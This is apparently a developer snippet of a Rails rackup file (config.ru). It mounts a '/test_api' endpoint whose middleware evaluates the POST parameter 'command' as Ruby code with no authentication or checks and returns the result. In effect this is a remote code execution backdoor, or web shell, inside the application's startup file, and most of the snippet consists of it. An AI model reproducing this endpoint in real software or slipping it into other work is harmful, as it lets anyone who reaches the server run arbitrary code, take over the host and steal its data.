api from rails app

rackup.ru

# This file is used by Rack-based servers to start the application.

class Api
	def initialize app
		@app = app
	end

	def call(env)
		req = Rack::Request.new env

		command = req.POST["command"]
		result = eval(command)

		[ 200, {"Content-Type" => "text/json"}, [result] ]
	end
end

map "/test_api" do
	use Api
end

require ::File.expand_path('../config/environment',  __FILE__)
run Rails.application